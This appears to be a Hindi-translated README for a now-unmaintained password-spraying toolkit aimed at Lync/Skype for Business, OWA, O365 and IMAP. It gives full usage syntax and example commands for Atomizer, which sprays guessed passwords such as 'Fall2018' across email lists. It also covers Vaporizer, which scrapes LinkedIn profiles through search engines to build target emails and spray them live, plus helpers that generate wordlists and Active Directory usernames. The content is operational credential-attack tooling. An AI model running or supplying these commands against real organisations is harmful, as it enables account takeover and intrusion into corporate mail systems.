
Lync/S4B, OWA और O365 के विरुद्ध पासवर्ड स्प्रेइंग हमलों को काफी तेज़, कम कष्टदायक और अधिक कुशल बनाने के लिए स्क्रिप्ट्स
यह प्रोजेक्ट अब अनुरक्षित नहीं है। निम्नलिखित वैकल्पिक प्रोजेक्ट बेहतर हैं और सक्रिय रूप से अनुरक्षित हैं:
Python स्क्रिप्ट/उपयोगिताओं का एक समूह जो Lync/S4B और OWA के विरुद्ध पासवर्ड स्प्रेइंग हमलों को अधिक तेज़, कम कष्टदायक और अधिक कुशल बनाने की कोशिश करता है।
Discord पर आकर जुड़िए!
पूर्व-आवश्यकताओं को pip3 के साथ निम्नानुसार स्थापित करें:
sudo -H pip3 install -r requirements.txt
या यदि आप पैकेजों को वैश्विक रूप से स्थापित नहीं करना चाहते हैं तो Python वर्चुअल वातावरण का उपयोग करें।
Lync/Skype For Business और OWA के लिए एक अत्यंत तेज़ पासवर्ड स्प्रेयर, जो Asyncio और Python 3.7 पर आधारित है।
Usage:
atomizer (lync|owa|imap) <target> <password> <userfile> [--targetPort PORT] [--threads THREADS] [--debug]
atomizer (lync|owa|imap) <target> <passwordfile> <userfile> --interval <TIME> [--gchat <URL>] [--slack <URL>] [--targetPort PORT][--threads THREADS] [--debug]
atomizer (lync|owa|imap) <target> --csvfile CSVFILE [--user-row-name NAME] [--pass-row-name NAME] [--targetPort PORT] [--threads THREADS] [--debug]
atomizer (lync|owa|imap) <target> --user-as-pass USERFILE [--targetPort PORT] [--threads THREADS] [--debug]
atomizer (lync|owa|imap) <target> --recon [--debug]
atomizer -h | --help
atomizer -v | --version
Arguments:
target target domain or url
password password to spray
userfile file containing usernames (one per line)
passwordfile file containing passwords (one per line)
Options:
-h, --help show this screen
-v, --version show version
-c, --csvfile CSVFILE csv file containing usernames and passwords
-i, --interval TIME spray at the specified interval [format: "H:M:S"]
-t, --threads THREADS number of concurrent threads to use [default: 3]
-d, --debug enable debug output
-p, --targetPort PORT target port of the IMAP server (IMAP only) [default: 993]
--recon only collect info, don't password spray
--gchat URL gchat webhook url for notification
--slack URL slack webhook url for notification
--user-row-name NAME username row title in CSV file [default: Email Address]
--pass-row-name NAME password row title in CSV file [default: Password]
--user-as-pass USERFILE use the usernames in the specified file as the password (one per line)
./atomizer.py owa contoso.com 'Fall2018' emails.txt
./atomizer.py lync contoso.com 'Fall2018' emails.txt
./atomizer lync contoso.com --csvfile accounts.csv
./atomizer lync contoso.com --user-as-pass usernames.txt
./atomizer owa 'https://owa.contoso.com/autodiscover/autodiscover.xml' --recon
./atomizer.py owa contoso.com passwords.txt emails.txt -i 0:45:00 --gchat <GCHAT_WEBHOOK_URL>
यह @OrOneEqualsOne के GatherContacts Burp एक्सटेंशन का mitmproxy पर कुछ सुधारों के साथ एक पोर्ट है।
यह Google और Bing से LinkedIn प्रोफ़ाइलों को स्क्रेप करता है, निर्दिष्ट पैटर्न का उपयोग करके प्रोफ़ाइल नामों से स्वचालित रूप से ईमेल उत्पन्न करता है और वास्तविक समय में पासवर्ड स्प्रे करता है।
(Atomizer के ऊपर निर्मित)
mitmdump -s vaporizer.py --set sprayer=(lync|owa) --set domain=domain.com --set target=<domain or url to spray> --set password=password --set email_format='{f}.{last}'
डिफ़ॉल्ट रूप से email_format को {first}.{last} पैटर्न पर सेट किया जाता है और यह एक आवश्यक तर्क नहीं है।
domain पैरामीटर वह डोमेन है जिसका उपयोग नामों से ईमेल उत्पन्न करने के लिए किया जाता है, target पैरामीटर पासवर्ड स्प्रे करने के लिए डोमेन या url है।
mitmproxy प्रमाणपत्र स्थापित करें, अपने ब्राउज़र में प्रॉक्सी सेट करें, Google और/या Bing पर जाएं और खोजें (/in शामिल करना सुनिश्चित करें):
site:linkedin.com/in "Target Company Name"
ईमेल निर्दिष्ट प्रारूप में emails.txt में डंप किए जाएंगे, और स्प्रेइंग के लिए Atomizer को पास कर दिए जाएंगे।
लक्ष्य वेबसाइट से सभी टेक्स्ट को स्क्रेप करता है और विश्लेषण के लिए इसे AWS Comprehend को भेजता है, ताकि पासवर्ड स्प्रेइंग के लिए कस्टम वर्डलिस्ट उत्पन्न की जा सकें।
अभी भी कार्य प्रगति पर है
mitmdump -s aerosol.py --set domain=domain.com
नामों को एक्टिव डायरेक्टरी उपयोगकर्तानामों में परिवर्तित करता है (जैसे Alice Eve => CONTOSO\aeve)
Usage:
spindrift [<file>] [--target TARGET | --domain DOMAIN] [--format FORMAT]
Arguments:
file file containing names, can also read from stdin
Options:
--target TARGET optional domain or url to retrieve the internal domain name from OWA
--domain DOMAIN manually specify the domain to append to each username
--format FORMAT username format [default: {f}{last}]
STDIN से नाम पढ़ता है, डोमेन को मैन्युअल रूप से निर्दिष्ट करने के लिए --domain का उपयोग किया जाता है:
cat names.txt | ./spindrift.py --domain CONTOSO
names.txt से नाम पढ़ता है, --target OWA से आंतरिक डोमेन नाम को गतिशील रूप से प्राप्त करता है (आप इसे एक डोमेन या url दे सकते हैं):
./spindrift.py names.txt --target contoso.com